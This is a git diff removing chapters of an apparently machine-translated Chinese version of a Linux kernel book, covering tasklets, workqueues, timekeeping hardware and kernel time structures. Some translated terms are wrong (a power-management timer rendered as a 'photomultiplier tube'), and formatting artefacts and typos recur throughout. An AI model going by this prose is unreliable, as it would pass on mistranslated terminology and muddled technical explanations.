&t->state)) - __tasklet_hi_schedule(t); -} -``` - -该例程中执行的操作与`tasklet_schedule()`类似,只是它调用`__tasklet_hi_scheudle()`将指定的小任务排入`tasklet_hi_vec`的尾部: - -```sh -void __tasklet_hi_schedule(struct tasklet_struct *t) -{ - unsigned long flags; - - local_irq_save(flags); - t->next = NULL; - *__this_cpu_read(tasklet_hi_vec.tail) = t; - __this_cpu_write(tasklet_hi_vec.tail, &(t->next)); - raise_softirq_irqoff(HI_SOFTIRQ); - local_irq_restore(flags); -} -``` - -该调用在本地处理器上引发`HI_SOFTIRQ`,这将把在`tasklet_hi_vec`中排队的所有小任务变成优先级最高的下半部分(优先级高于其他软任务)。 - -另一个变体是`tasklet_hi_schedule_first()`,将指定的小任务插入到`tasklet_hi_vec`的头部并提升`HI_SOFTIRQ`: - -```sh -extern void __tasklet_hi_schedule_first(struct tasklet_struct *t); - - */ -static inline void tasklet_hi_schedule_first(struct tasklet_struct *t) -{ - if (!test_and_set_bit(TASKLET_STATE_SCHED, &t->state)) - __tasklet_hi_schedule_first(t); -} - -/*kernel/softirq.c */ -void __tasklet_hi_schedule_first(struct tasklet_struct *t) -{ - BUG_ON(!irqs_disabled()); - t->next = __this_cpu_read(tasklet_hi_vec.head); - __this_cpu_write(tasklet_hi_vec.head, t); - __raise_softirq_irqoff(HI_SOFTIRQ); -} - -``` - -还存在其他接口例程,用于启用、禁用和终止计划的小任务。 - -```sh -void tasklet_disable(struct tasklet_struct *t); -``` - -该功能通过增加*禁用计数*来禁用指定的小任务。小任务可能仍会被调度,但在再次启用之前不会被执行。如果调用此调用时小任务正在运行,则此函数将忙碌等待,直到小任务完成。 - -```sh -void tasklet_enable(struct tasklet_struct *t); -``` - -这试图通过减少其*禁用计数*来启用先前被禁用的小任务。如果小任务已经被调度,它将很快运行: - -```sh -void tasklet_kill(struct tasklet_struct *t); -``` - -调用此函数来终止给定的小任务,以确保它不会被安排再次运行。如果在调用此调用时指定的小任务已经被调度,则此函数将一直等待,直到其执行完成: - -```sh -void tasklet_kill_immediate(struct tasklet_struct *t, unsigned int cpu); -``` - -调用此函数来终止已经计划好的小任务。即使小任务处于`TASKLET_STATE_SCHED`状态,它也会立即从列表中删除指定的小任务。 - -# 工作队列 - -**工作队列** ( **wqs** )是执行异步流程上下文例程的机制。顾名思义,工作队列(wq)是一个由*工作*项*、*组成的列表,每一项都包含一个函数指针,该指针获取要异步执行的例程的地址。每当某个内核代码(属于某个子系统或服务)打算推迟一些异步进程上下文执行的工作时,它必须用处理函数的地址初始化*工作*项,并将其排入工作队列。内核使用一个专用的内核线程池,称为 *kworker* 线程,依次执行绑定到队列中每个*工作*项的函数。 - -# 接口应用编程接口 - -工作队列应用编程接口提供了两种类型的函数接口:第一,一组接口例程,用于实例化*工作*项并将其排队到全局工作队列中,该队列由所有内核子系统和服务共享;第二,一组接口例程,用于建立新的工作队列,并将工作项排队到该队列中。我们将开始探索与全局共享工作队列相关的宏和函数的工作队列接口。 - -队列中的每个*工作*项由类型`struct work_struct`的实例表示,该实例在内核头``中声明: - -```sh -struct work_struct { - atomic_long_t data; - struct list_head entry; - work_func_t func; -#ifdef CONFIG_LOCKDEP - struct lockdep_map lockdep_map; -#endif -}; -``` - -`func`是取延迟例程地址的指针;可以通过宏`DECLARE_WORK`创建和初始化一个新的结构工作对象: - -```sh -#define DECLARE_WORK(n, f) \ - struct work_struct n = __WORK_INITIALIZER(n, f) -``` - -`n`是要创建的实例的名称,`f`是要分配的函数的地址。可以通过`schedule_work()`将工作实例安排到工作队列中: - -```sh -bool schedule_work(struct work_struct *work); -``` - -该函数将给定的*工作*项目排入本地中央处理器工作队列,但不保证在其上执行。如果给定的*工作*成功入队,则返回*真*,如果给定的*工作*已经在工作队列中找到,则返回*假*。一旦排队,与*工作*项目相关联的功能由相关的`kworker`线程在任何可用的 CPU 上执行。或者,可以将*工作*项目标记为在特定的中央处理器上执行,同时将其调度到队列中(这可能会产生更好的缓存利用率);这可以通过呼叫`scheudule_work_on()`来完成: - -```sh -bool schedule_work_on(int cpu, struct work_struct *work); -``` - -`cpu`是*工作*任务要绑定到的标识符。例如,要将*工作*任务调度到本地中央处理器上,调用者可以调用: - -```sh -schedule_work_on(smp_processor_id(), &t_work); -``` - -`smp_processor_id()`是返回本地 CPU 标识符的内核宏(在``中定义)。 - -接口应用编程接口还提供了一种调度调用的变体,允许调用者将*工作*任务排队,这些任务的执行至少要延迟到指定的超时时间。这是通过将一个*工作*任务与一个定时器绑定来实现的,该定时器可以通过一个到期超时来初始化,在此之前*工作*任务不会被安排到队列中: - -```sh -struct delayed_work { - struct work_struct work; - struct timer_list timer; - - /* target workqueue and CPU ->timer uses to queue ->work */ - struct workqueue_struct *wq; - int cpu; -}; -``` - -`timer`是动态计时器描述符的一个实例,该描述符用到期间隔初始化,并在调度*工作*任务时启动。我们将在下一章更多地讨论内核定时器和其他与时间相关的概念。 - -调用者可以实例化`delayed_work`并通过宏静态初始化它: - -```sh -#define DECLARE_DELAYED_WORK(n, f) \ - struct delayed_work n = __DELAYED_WORK_INITIALIZER(n, f, 0) -``` - -与正常的*工作*任务类似,延迟的*工作*任务可以被安排在任何可用的 CPU 上运行,或者被安排在指定的核心上执行。要调度可以在任何可用处理器上运行的延迟的*工作*,调用者可以调用`schedule_delayed_work()`,要调度延迟的*工作*到特定的处理器上,使用函数`schedule_delayed_work_on()`: - -```sh -bool schedule_delayed_work(struct delayed_work *dwork,unsigned long delay); -bool schedule_delayed_work_on(int cpu, struct delayed_work *dwork, - unsigned long delay); -``` - -注意,如果延迟为零,则指定的*工作*项目被安排立即执行。 - -# 创建专用工作队列 - -计划到全局工作队列中的*工作*项目的执行时间是不可预测的:一个长时间运行的*工作*项目总是会给其他项目造成无限期的延迟。或者,工作队列框架允许分配专用的工作队列,它可以由内核子系统或服务拥有。用于在这些队列中创建和调度工作的接口 API 提供了控制标志,通过这些标志,所有者可以设置特殊属性,如 CPU 局部性、并发限制和优先级,这些属性对排队工作项的执行有影响。 - -通过调用`alloc_workqueue()`,可以建立新的工作队列;以下摘自``的摘录显示了示例用法: - -```sh - struct workqueue_struct *wq; - ... - wq = alloc_workqueue("nfsiod", WQ_MEM_RECLAIM, 0); -``` - -这个调用需要三个参数:第一个参数是一个字符串常量`name`到工作队列。第二个参数是`flags`的位域,第三个参数是一个名为`max_active`的整数。最后两个用于指定队列的控制属性。成功后,该函数返回工作队列描述符的地址。 - -以下是标志选项列表: - -* `WQ_UNBOUND`:使用此标志创建的工作队列由不绑定到任何特定 CPU 的工作池管理。这将导致调度到该队列的所有*工作*项目在任何可用的处理器上运行。*工作*此队列中的项目由工作池尽快执行。 -* `WQ_FREEZABLE`:这种类型的工作队列是可冻结的,这意味着它受到系统挂起操作的影响。暂停期间,所有当前的*工作*项目被清空,并且没有新的*工作*项目可以运行,直到系统解冻或恢复。 -* `WQ_MEM_RECLAIM`:该标志用于标记包含内存回收路径中涉及的*工作*项的工作队列。这使得框架确保始终有一个*工作线程*可用于运行该队列中的*工作*项目。 -* `WQ_HIGHPRI`:此标志用于将工作队列标记为高优先级。高优先级工作队列中的工作项比普通工作队列具有更高的优先级,因为这些工作项由高优先级的*工作线程池*执行。内核为每个 CPU 维护一个高优先级工作线程的专用池,不同于普通的工作线程池。 -* `WQ_CPU_INTENSIVE`:此标志将此工作队列中的工作项标记为 CPU 密集型。这有助于系统调度程序调整预计长时间占用中央处理器的*工作*项目的执行。这意味着可运行的 CPU 密集型*工作*项目不会阻止同一工作池中的其他工作项目启动。一个可运行的非 CPU 密集型*工作*项目总是可以延迟被标记为 CPU 密集型的*工作*项目的执行。此标志对于未绑定的 wq 没有意义。 -* `WQ_POWER_EFFICIENT`:默认情况下,用该标志标记的工作队列是按 CPU 的,但是如果系统是在设置了`workqueue.power_efficient`内核参数的情况下启动的,则工作队列将成为未绑定的。被识别为对功耗有显著贡献的每个 CPU 的工作队列被识别并标记有该标志,并且启用 power_efficient 模式导致显著的功耗节省,但代价是轻微的性能损失。 - -最后一个参数`max_active`是一个整数,它必须指定在任何给定的中央处理器上可以从这个工作队列同时执行的*工作*项的数量。 - -一旦建立了专用的工作队列,*工作*项目可以通过以下任何一个调用进行调度: - -```sh -bool queue_work(struct workqueue_struct *wq, struct work_struct *work); -``` - -`wq`是指向队列的指针;它将指定的*工作*项目在本地 CPU 上排队,但不保证在本地处理器上执行。如果给定的工作项目成功排队,则该调用返回*真*,如果给定的工作项目已经被调度,则返回*假*。 - -或者,调用方可以将绑定到特定 CPU 的工作项排队,调用: - -```sh -bool queue_work_on(int cpu,struct workqueue_struct *wq,struct work_struct - *work); -``` - -*一旦工作*项目被排入指定`cpu`的工作队列,如果给定的工作项目被成功排队,则返回*真*,如果给定的工作项目已经在队列中找到,则返回*假*。 - -类似于共享工作队列 API,延迟调度选项也可用于专用工作队列。以下调用用于*工作*项目的延迟调度: - -```sh -bool queue_delayed_work_on(int cpu, struct workqueue_struct *wq, struct delayed_work *dwork,unsigned long delay); - -bool queue_delayed_work(struct workqueue_struct *wq, struct delayed_work *dwork, unsigned long delay -``` - -两个调用都会延迟给定工作的调度,直到`delay`指定的超时时间过去,例外情况是`queue_delayed_work_on()`将给定的*工作*项目排队到指定的 CPU 上,并保证它在其上执行。请注意,如果指定的延迟为零,并且工作队列空闲,则给定的*工作*项目被安排立即执行。 - -# 摘要 - -通过这一章,我们已经触及到了中断的基础,构建整个基础设施的各种组件,以及内核如何有效地管理它。我们理解内核如何利用抽象来平滑处理来自不同控制器的各种中断信号。通过高级中断管理接口,内核简化复杂编程方法的努力再次凸显出来。我们还扩展了对中断子系统的所有关键例程和重要数据结构的理解。我们还探索了处理延迟工作的内核机制。 - -在下一章中,我们将探索内核的计时子系统,以理解时间测量、间隔计时器以及超时和延迟例程等关键概念。* \ No newline at end of file diff --git a/docs/master-linux-kernel-dev/10.md b/docs/master-linux-kernel-dev/10.md deleted file mode 100644 index 45c1a7cf..00000000 --- a/docs/master-linux-kernel-dev/10.md +++ /dev/null @@ -1,708 +0,0 @@ -# 十、时钟和时间管理 - -Linux 时间管理子系统管理各种与时间相关的活动,并跟踪计时数据,如当前时间和日期、系统启动后经过的时间(系统正常运行时间)和超时,例如,等待特定事件启动或终止需要多长时间、超时后锁定系统或发出信号终止无响应的进程。 - -Linux 时间管理子系统处理两种类型的计时活动: - -* 保持当前时间和日期 -* 维护计时器 - -# 时间表示 - -根据用例,时间在 Linux 中以三种不同的方式表示: - -1. **墙时(或实时):**这是现实世界中的实际时间和日期,如 2017 年 8 月 10 日上午 07:00,用于通过网络发送的文件和数据包上的时间戳。 -2. **进程时间:**这是进程在其生命周期中消耗的时间。它包括进程在用户模式下消耗的时间和内核代码代表进程执行时消耗的时间。这对于统计、审计和分析非常有用。 -3. **单调时间:**这是系统启动后经过的时间。它本质上是不断增加和单调的(系统正常运行时间)。 - -这三个时间以下列任一方式测量: - -1. **相对时间:**这是相对于某个特定事件的时间,比如系统启动后的 7 分钟,或者用户上次输入后的 2 分钟。 -2. **绝对时间:**这是一个唯一的时间点,没有任何参考以前的事件,如 2017 年 8 月 12 日上午 10:00。在 Linux 中,绝对时间表示为自 1970 年 1 月 1 日午夜 00:00:00(世界协调时)以来经过的秒数 - -即使在重新启动和关闭之间,壁时间也在不断增加(除非用户修改过),但每次创建新流程或系统启动时,流程时间和系统正常运行时间都从某个预定义的时间点开始(*通常为零*)。 - -# 定时硬件 - -Linux 依靠合适的硬件设备来维持时间。这些硬件设备可以大致分为两类:系统时钟和定时器。 - -# 实时时钟 - -跟踪当前的时间和日期非常重要,这不仅是为了让用户知道它,也是为了将它用作系统中各种资源的时间戳,特别是辅助存储中的文件。每个文件都有元数据信息,如创建日期和上次修改日期,每次创建或修改文件时,这两个字段都会根据系统中的当前时间进行更新。几个应用使用这些字段来管理文件,例如对文件进行排序、分组甚至删除(如果文件很长时间没有被访问过)。 *make* 工具使用该时间戳来确定源文件自上次访问以来是否被编辑过;只有到那时,它才被编译,否则保持不变。 - -系统时钟实时时钟跟踪当前时间和日期;在额外电池的支持下,即使系统关闭,它也能继续工作。 - -RTC 可以定期在 IRQ8 上引发中断。该功能可用作报警功能,通过对 RTC 编程,当到达特定时间时,在 IRQ8 上产生中断。在 IBM 兼容的个人电脑中,实时时钟被映射到 0x70 和 0x71 输入/输出端口。可以通过`/dev/rtc`设备文件访问。 - -# 时间戳计数器 - -这是一个在每个 x86 微处理器中通过 64 位寄存器实现的计数器,称为 TSC 寄存器。它计算到达处理器 CLK 引脚的时钟信号数量。当前计数器值可以通过访问 TSC 寄存器来读取。每秒计数的滴答数可以计算为 1/(时钟频率);对于 1 千兆赫的时钟,它转换为每纳秒一次。 - -知道两个连续刻度之间的持续时间非常重要。一个处理器时钟的频率可能与其他处理器时钟的频率不同,这一事实使得它在不同的处理器之间有所不同。CPU 时钟频率在系统引导期间由`arch/x86/include/asm/x86_init.h`头文件中定义的 x86_platform_ops 结构的`calibrate_tsc()`回调例程计算: - -```sh -struct x86_platform_ops { - unsigned long (*calibrate_cpu)(void); - unsigned long (*calibrate_tsc)(void); - void (*get_wallclock)(struct timespec *ts); - int (*set_wallclock)(const struct timespec *ts); - void (*iommu_shutdown)(void); - bool (*is_untracked_pat_range)(u64 start, u64 end); - void (*nmi_init)(void); - unsigned char (*get_nmi_reason)(void); - void (*save_sched_clock_state)(void); - void (*restore_sched_clock_state)(void); - void (*apic_post_init)(void); - struct x86_legacy_features legacy; - void (*set_legacy_features)(void); -}; -``` - -该数据结构还管理其他定时操作,例如通过`get_wallclock()`从实时时钟获取时间或通过`set_wallclock()`回调在实时时钟上设置时间。 - -# 可编程中断定时器 - -内核需要定期执行某些任务,例如: - -* 更新当前时间和日期(午夜) -* 更新系统运行时间(正常运行时间) -* 跟踪每个进程消耗的时间,这样它们就不会超过分配给在 CPU 上运行的时间 -* 跟踪各种计时器活动 - -为了执行这些任务,中断必须周期性地产生。每当这个周期性中断被引发时,内核就知道是时候更新前面提到的定时数据了。PIT 是负责发出这种周期性中断的硬件,称为定时器中断。PIT 以大约 1000 赫兹的频率定期在 IRQ0 上发出定时器中断,每毫秒一次。这种周期性的中断被称为**滴答**,发出的频率被称为**滴答率**。滴答频率由内核宏**赫兹**定义,单位为赫兹。 - -系统响应取决于滴答率:滴答越短,系统响应越快,反之亦然。滴答越短,`poll()`和`select()`系统调用的响应时间越快。然而,更短的滴答率的相当大的缺点是,大部分时间中央处理器将在内核模式下工作(执行定时器中断的中断处理程序),留给用户模式代码(程序)在其上执行的时间更少。在高性能的中央处理器中,这不会是很大的开销,但是在较慢的中央处理器中,整体系统性能会受到很大影响。 - -为了在响应时间和系统性能之间达到平衡,大多数机器使用 100 赫兹的滴答速率。除了 *Alpha* 和*m68knomu*使用 1000 Hz 的滴答速率外,其余的常见架构,包括 *x86* (arm、powerpc、sparc、mips 等)都使用 100 Hz 的滴答速率。 *x86* 机器中常见的 PIT 硬件是英特尔 8253。它是通过地址 0x 40–0x 43 映射和访问的输入/输出。PIT 由`setup_pit_timer()`初始化,在`arch/x86/kernel/i8253.c`文件*中定义:* - -```sh -void __init setup_pit_timer(void) -{ - clockevent_i8253_init(true); - global_clock_event = &i8253_clockevent; -} -``` - -这在内部称为`clockevent_i8253_init()`,在`` *中定义:* - -```sh -void __init clockevent_i8253_init(bool oneshot) -{ - if (oneshot) - i8253_clockevent.features |= CLOCK_EVT_FEAT_ONESHOT; - /* - * Start pit with the boot cpu mask. x86 might make it global - * when it is used as broadcast device later. - */ - i8253_clockevent.cpumask = cpumask_of(smp_processor_id()); - - clockevents_config_and_register(&i8253_clockevent, PIT_TICK_RATE, - 0xF, 0x7FFF); -} -#endif -``` - -# 中央处理器本地定时器 - -PIT 是一个全局定时器,它引发的中断可以由 SMP 系统中的任何 CPU 处理。在某些情况下,拥有这样一个通用的计时器是有益的,而在其他情况下,每 CPU 计时器是更可取的。在 SMP 系统中,在每个 CPU 中保持进程时间并监控分配给进程的时间片,使用本地定时器会更加容易和高效。 - -本地 APIC 在最近的 x86 微处理器中嵌入了这样一个 CPU 本地定时器。中央处理器本地定时器可以发出中断一次或定期。它使用 32 位定时器,可以以非常低的频率发出中断(这个更宽的计数器允许在引发中断之前出现更多的滴答声)。APIC 计时器根据总线时钟信号工作。APIC 计时器与 PIT 非常相似,只是它位于中央处理器的本地,有一个 32 位计数器(PIT 有一个 16 位计数器),并使用总线时钟信号(PIT 使用自己的时钟信号)。 - -# 高精度事件计时器(HPET) - -HPET 使用超过 10 兆赫的时钟信号,每 100 纳米秒发出一次中断,因此得名高精度。HPET 实现了一个 64 位主计数器,以如此高的频率计数。它是由英特尔和微软联合开发的,以满足新的高分辨率计时器的需求。HPET 嵌入了一组计时器。它们中的每一个都能够独立发出中断,并且可以由内核分配的特定应用使用。这些定时器作为定时器组进行管理,每个组最多可以有 32 个定时器。一个 HPET 最多可以实现 8 个这样的组。每个定时器都有一组*比较器*和*匹配寄存器*T4。当匹配寄存器中的值与主计数器的值匹配时,定时器发出中断。定时器可以编程产生中断一次或定期。 - -寄存器是内存映射的,有可重定位的地址空间。在系统启动期间,基本输入输出系统设置寄存器的地址空间,并将其传递给内核。一旦基本输入输出系统映射了地址,它很少被内核重新映射。 - -# ACPI 电源管理定时器(ACPI 光电倍增管) - -ACPI 光电倍增管是一个简单的计数器,其固定频率时钟为 3.58 兆赫。它在每一个刻度上递增。PMT 是端口映射的;BIOS 在引导期间的硬件初始化阶段负责地址映射。PMT 比 TSC 更可靠,因为它以恒定的时钟频率工作。TSC 依赖于 CPU 时钟,根据当前负载,CPU 时钟可能会被欠锁或超频,导致时间膨胀和测量不准确。其中,HPET 是优选的,因为如果在系统中存在,它允许非常短的时间间隔。 - -# 硬件抽象 - -每个系统至少有一个时钟计数器。与机器中的任何硬件设备一样,这个计数器也由一个结构来表示和管理。硬件抽象由`include/linux/clocksource.h`头文件中定义的`struct clocksource`**提供。该结构通过`read`、`enable`、`disable`、`suspend`和`resume`例程提供回调以访问和处理柜台上的电源管理:** - -```sh -struct clocksource { - u64 (*read)(struct clocksource *cs); - u64 mask; - u32 mult; - u32 shift; - u64 max_idle_ns; - u32 maxadj; -#ifdef CONFIG_ARCH_CLOCKSOURCE_DATA - struct arch_clocksource_data archdata; -#endif - u64 max_cycles; - const char *name; - struct list_head list; - int rating; - int (*enable)(struct clocksource *cs); - void (*disable)(struct clocksource *cs); - unsigned long flags; - void (*suspend)(struct clocksource *cs); - void (*resume)(struct clocksource *cs); - void (*mark_unstable)(struct clocksource *cs); - void (*tick_stable)(struct clocksource *cs); - - /* private: */ -#ifdef CONFIG_CLOCKSOURCE_WATCHDOG - /* Watchdog related data, used by the framework */ - struct list_head wd_list; - u64 cs_last; - u64 wd_last; -#endif - struct module *owner; -}; -``` - -成员`mult`和`shift`有助于获得相关单位的经过时间。 - -# 计算经过的时间 - -在此之前,我们知道在每个系统中都有一个自由运行的、不断递增的计数器,所有的时间都来自于它,无论是墙时间还是任何持续时间。计算时间(从计数器开始算起的秒数)的最自然的想法是将该计数器提供的周期数除以时钟频率,如下式所示: - -时间(秒)=(计数器值)/(时钟频率) - -然而,这种方法有一个缺点:它涉及除法(这是一种迭代算法,是四种基本算术运算中最慢的)和浮点计算,在某些架构上可能会慢一些。在嵌入式平台上工作时,浮点计算显然比在个人电脑或服务器平台上慢。 - -那么我们如何克服这个问题呢?不是除法,而是使用乘法和按位移位运算来计算时间。内核提供了一个助手例程,以这种方式导出时间。`include/linux/clocksource.h`中定义的`clocksource_cyc2ns()`将时钟源周期转换为纳秒: - -```sh -static inline s64 clocksource_cyc2ns(u64 cycles, u32 mult, u32 shift) -{ - return ((u64) cycles * mult) >> shift; -} -``` - -这里,参数 cycles 是从时钟源经过的周期数,`mult`是周期到纳秒的乘数,`shift`是周期到纳秒的除数(2 的幂)。这两个参数都与时钟源有关。这些值由前面讨论的时钟源内核抽象提供。 - -时钟源硬件并不总是准确的;它们的频率可能会有所不同。这种时钟变化会导致时间漂移(使时钟运行得更快或更慢)。在这种情况下,可以调整变量 *mult* 来弥补这个时间漂移。 - -在`kernel/time/clocksource.c`中定义的帮助程序`clocks_calc_mult_shift()`**,帮助评估`mult`和`shift`因素:** - -```sh -void -clocks_calc_mult_shift(u32 *mult, u32 *shift, u32 from, u32 to, u32 maxsec) -{ - u64 tmp; - u32 sft, sftacc= 32; - - /* - * Calculate the shift factor which is limiting the conversion - * range: - */ - tmp = ((u64)maxsec * from) >> 32; - while (tmp) { - tmp >>=1; - sftacc--; - } - - /* - * Find the conversion shift/mult pair which has the best - * accuracy and fits the maxsec conversion range: - */ - for (sft = 32; sft > 0; sft--) { - tmp = (u64) to << sft; - tmp += from / 2; - do_div(tmp, from); - if ((tmp >> sftacc) == 0) - break; - } - *mult = tmp; - *shift = sft; -} -``` - -可以计算两个事件之间的持续时间,如下面的代码片段所示: - -```sh -struct clocksource *cs = &curr_clocksource; -cycle_t start = cs->read(cs); -/* things to do */ -cycle_t end = cs->read(cs); -cycle_t diff = end – start; -duration = clocksource_cyc2ns(diff, cs->mult, cs->shift); -``` - -# Linux 计时数据结构、宏和助手例程 - -我们现在将通过观察一些关键的计时结构、宏和帮助程序来扩展我们的意识,这些程序可以帮助程序员提取特定的时间相关数据。 - -# 域 - -*`jiffies`变量保存系统启动后经过的节拍数。每发生一次滴答,*瞬间*递增 1。这是一个 32 位变量,意味着对于 100 赫兹的滴答率,溢出将在大约 497 天内发生(对于 1000 赫兹的滴答率,溢出将在 49 天内发生,17 小时内发生)。* - - *为了克服这个问题,使用了一个 64 位的变量`jiffies_64`,它允许在溢出发生前几千年到几百万年。`jiffies`变量相当于`jiffies_64`的 32 个最低有效位。同时拥有`jiffies`和`jiffies_64`变量的原因是,在 32 位机器中,64 位变量不能被原子访问;在处理这两个 32 位半部分时,需要一些同步,以避免任何计数器更新。`/kernel/time/jiffies.c`源文件中定义的函数`get_jiffies_64()`返回`jiffies`的当前值: - -```sh -u64 get_jiffies_64(void) -{ - unsigned long seq; - u64 ret; - - do { - seq = read_seqbegin(&jiffies_lock); - ret = jiffies_64; - } while (read_seqretry(&jiffies_lock, seq)); - return ret; -} -``` - -在使用`jiffies`时,考虑回绕的可能性至关重要,因为在比较两个时间事件时,这会导致不可预测的结果。有四个宏可用于此目的,在`include/linux/jiffies.h`中定义: - -```sh -#define time_after(a,b) \ - (typecheck(unsigned long, a) && \ - typecheck(unsigned long, b) && \ - ((long)((b) - (a)) < 0)) -#define time_before(a,b) time_after(b,a) - -#define time_after_eq(a,b) \ - (typecheck(unsigned long, a) && \ - typecheck(unsigned long, b) && \ - ((long)((a) - (b)) >= 0)) -#define time_before_eq(a,b) time_after_eq(b,a) -``` - -所有这些宏都返回布尔值;参数 **a** 和 **b** 是需要比较的时间事件。如果 a 恰好是 b 之后的时间,`time_after()`返回真,否则返回假。反之,如果 **a** 恰好在 **b** 之前,`time_before()`返回真,否则返回假。如果 a 和 b 相等,则`time_after_eq()`和`time_before_eq()`都返回真。在`include/linux/jiffies.h` *:* 中,可以使用例程`jiffies_to_msecs()`、`jiffies_to_usecs()`(在`kernel/time/time.c`和`jiffies_to_nsecs()`中定义)将 Jiffies 转换为其他时间单位,如毫秒、微秒和纳秒 - -```sh -unsigned int jiffies_to_msecs(const unsigned long j) -{ -#if HZ <= MSEC_PER_SEC && !(MSEC_PER_SEC % HZ) - return (MSEC_PER_SEC / HZ) * j; -#elif HZ > MSEC_PER_SEC && !(HZ % MSEC_PER_SEC) - return (j + (HZ / MSEC_PER_SEC) - 1)/(HZ / MSEC_PER_SEC); -#else -# if BITS_PER_LONG == 32 - return (HZ_TO_MSEC_MUL32 * j) >> HZ_TO_MSEC_SHR32; -# else - return (j * HZ_TO_MSEC_NUM) / HZ_TO_MSEC_DEN; -# endif -#endif -} - -unsigned int jiffies_to_usecs(const unsigned long j) -{ - /* - * Hz doesn't go much further MSEC_PER_SEC. - * jiffies_to_usecs() and usecs_to_jiffies() depend on that. - */ - BUILD_BUG_ON(HZ > USEC_PER_SEC); - -#if !(USEC_PER_SEC % HZ) - return (USEC_PER_SEC / HZ) * j; -#else -# if BITS_PER_LONG == 32 - return (HZ_TO_USEC_MUL32 * j) >> HZ_TO_USEC_SHR32; -# else - return (j * HZ_TO_USEC_NUM) / HZ_TO_USEC_DEN; -# endif -#endif -} - -static inline u64 jiffies_to_nsecs(const unsigned long j) -{ - return (u64)jiffies_to_usecs(j) * NSEC_PER_USEC; -} -``` - -其他转换例程可以在`include/linux/jiffies.h`文件中探索。 - -# 时间值和时间类别 - -在 Linux 中,当前时间是通过保持自 1970 年 1 月 01 日午夜(称为纪元)以来经过的秒数来维护的;每个元素中的第二个元素分别表示自上一秒以来经过的时间(以微秒和纳秒为单位): - -```sh -struct timespec { - __kernel_time_t tv_sec; /* seconds */ - long tv_nsec; /* nanoseconds */ -}; -#endif - -struct timeval { - __kernel_time_t tv_sec; /* seconds */ - __kernel_suseconds_t tv_usec; /* microseconds */ -}; -``` - -从时钟源读取的时间(计数器值)需要在某个地方累加和跟踪;在`include/linux/timekeeper_internal.h,`中定义的结构`struct tk_read_base`用于此目的: - -```sh -struct tk_read_base { - struct clocksource *clock; - cycle_t (*read)(struct clocksource *cs); - cycle_t mask; - cycle_t cycle_last; - u32 mult; - u32 shift; - u64 xtime_nsec; - ktime_t base_mono; -}; -``` - -在`include/linux/timekeeper_internal.h,`中定义的结构`struct timekeeper`**保持各种计时值。它是维护和操作不同时间表的计时数据的主要数据结构,例如单调和原始:** - -```sh -struct timekeeper { - struct tk_read_base tkr; - u64 xtime_sec; - unsigned long ktime_sec; - struct timespec64 wall_to_monotonic; - ktime_t offs_real; - ktime_t offs_boot; - ktime_t offs_tai; - s32 tai_offset; - ktime_t base_raw; - struct timespec64 raw_time; - - /* The following members are for timekeeping internal use */ - cycle_t cycle_interval; - u64 xtime_interval; - s64 xtime_remainder; - u32 raw_interval; - u64 ntp_tick; - /* Difference between accumulated time and NTP time in ntp - * shifted nano seconds. */ - s64 ntp_error; - u32 ntp_error_shift; - u32 ntp_err_mult; -}; -``` - -# 跟踪和维护时间 - -计时辅助程序`timekeeping_get_ns()`和`timekeeping_get_ns()`有助于获得以纳秒为单位的世界时和地面时之间的校正系数(δt): - -```sh -static inline u64 timekeeping_delta_to_ns(struct tk_read_base *tkr, u64 delta) -{ - u64 nsec; - - nsec = delta * tkr->mult + tkr->xtime_nsec; - nsec >>= tkr->shift; - - /* If arch requires, add in get_arch_timeoffset() */ - return nsec + arch_gettimeoffset(); -} - -static inline u64 timekeeping_get_ns(struct tk_read_base *tkr) -{ - u64 delta; - - delta = timekeeping_get_delta(tkr); - return timekeeping_delta_to_ns(tkr, delta); -} -``` - -例程`logarithmic_accumulation()`更新单声道、原始和 xtime 时间线;它将移位的周期间隔累积成移位的纳秒间隔。例程`accumulate_nsecs_to_secs()`将`struct tk_read_base`的`xtime_nsec`字段中的纳秒累加到`struct timekeeper`的`xtime_sec`中。这些程序有助于跟踪系统中的当前时间,并在`kernel/time/timekeeping.c`中定义: - -```sh -static u64 logarithmic_accumulation(struct timekeeper *tk, u64 offset, - u32 shift, unsigned int *clock_set) -{ - u64 interval = tk->cycle_interval << shift; - u64 snsec_per_sec; - - /* If the offset is smaller than a shifted interval, do nothing */ - if (offset < interval) - return offset; - - /* Accumulate one shifted interval */ - offset -= interval; - tk->tkr_mono.cycle_last += interval; - tk->tkr_raw.cycle_last += interval; - - tk->tkr_mono.xtime_nsec += tk->xtime_interval << shift; - *clock_set |= accumulate_nsecs_to_secs(tk); - - /* Accumulate raw time */ - tk->tkr_raw.xtime_nsec += (u64)tk->raw_time.tv_nsec << tk->tkr_raw.shift; - tk->tkr_raw.xtime_nsec += tk->raw_interval << shift; - snsec_per_sec = (u64)NSEC_PER_SEC << tk->tkr_raw.shift; - while (tk->tkr_raw.xtime_nsec >= snsec_per_sec) { - tk->tkr_raw.xtime_nsec -= snsec_per_sec; - tk->raw_time.tv_sec++; - } - tk->raw_time.tv_nsec = tk->tkr_raw.xtime_nsec >> tk->tkr_raw.shift; - tk->tkr_raw.xtime_nsec -= (u64)tk->raw_time.tv_nsec << tk->tkr_raw.shift; - - /* Accumulate error between NTP and clock interval */ - tk->ntp_error += tk->ntp_tick << shift; - tk->ntp_error -= (tk->xtime_interval + tk->xtime_remainder) << - (tk->ntp_error_shift + shift); - - return offset; -} -``` - -在`kernel/time/timekeeping.c,`中定义的另一个例程`update_wall_time()`负责维护墙时间。它使用当前时钟源作为参考来增加挂壁时间。 - -# 滴答和中断处理 - -为了提供编程接口,产生滴答的时钟设备通过结构`struct clock_event_device`进行抽象,在`include/linux/clockchips.h`中定义: - -```sh -struct clock_event_device { - void (*event_handler)(struct clock_event_device *); - int (*set_next_event)(unsigned long evt, struct clock_event_device *); - int (*set_next_ktime)(ktime_t expires, struct clock_event_device *); - ktime_t next_event; - u64 max_delta_ns; - u64 min_delta_ns; - u32 mult; - u32 shift; - enum clock_event_state state_use_accessors; - unsigned int features; - unsigned long retries; - - int (*set_state_periodic)(struct clock_event_device *); - int (*set_state_oneshot)(struct clock_event_device *); - int (*set_state_oneshot_stopped)(struct clock_event_device *); - int (*set_state_shutdown)(struct clock_event_device *); - int (*tick_resume)(struct clock_event_device *); - - void (*broadcast)(const struct cpumask *mask); - void (*suspend)(struct clock_event_device *); - void (*resume)(struct clock_event_device *); - unsigned long min_delta_ticks; - unsigned long max_delta_ticks; - - const char *name; - int rating; - int irq; - int bound_on; - const struct cpumask *cpumask; - struct list_head list; - struct module *owner; -} ____cacheline_aligned; -``` - -这里,`event_handler`是适当的例程,由框架指定,由低级处理程序调用来运行 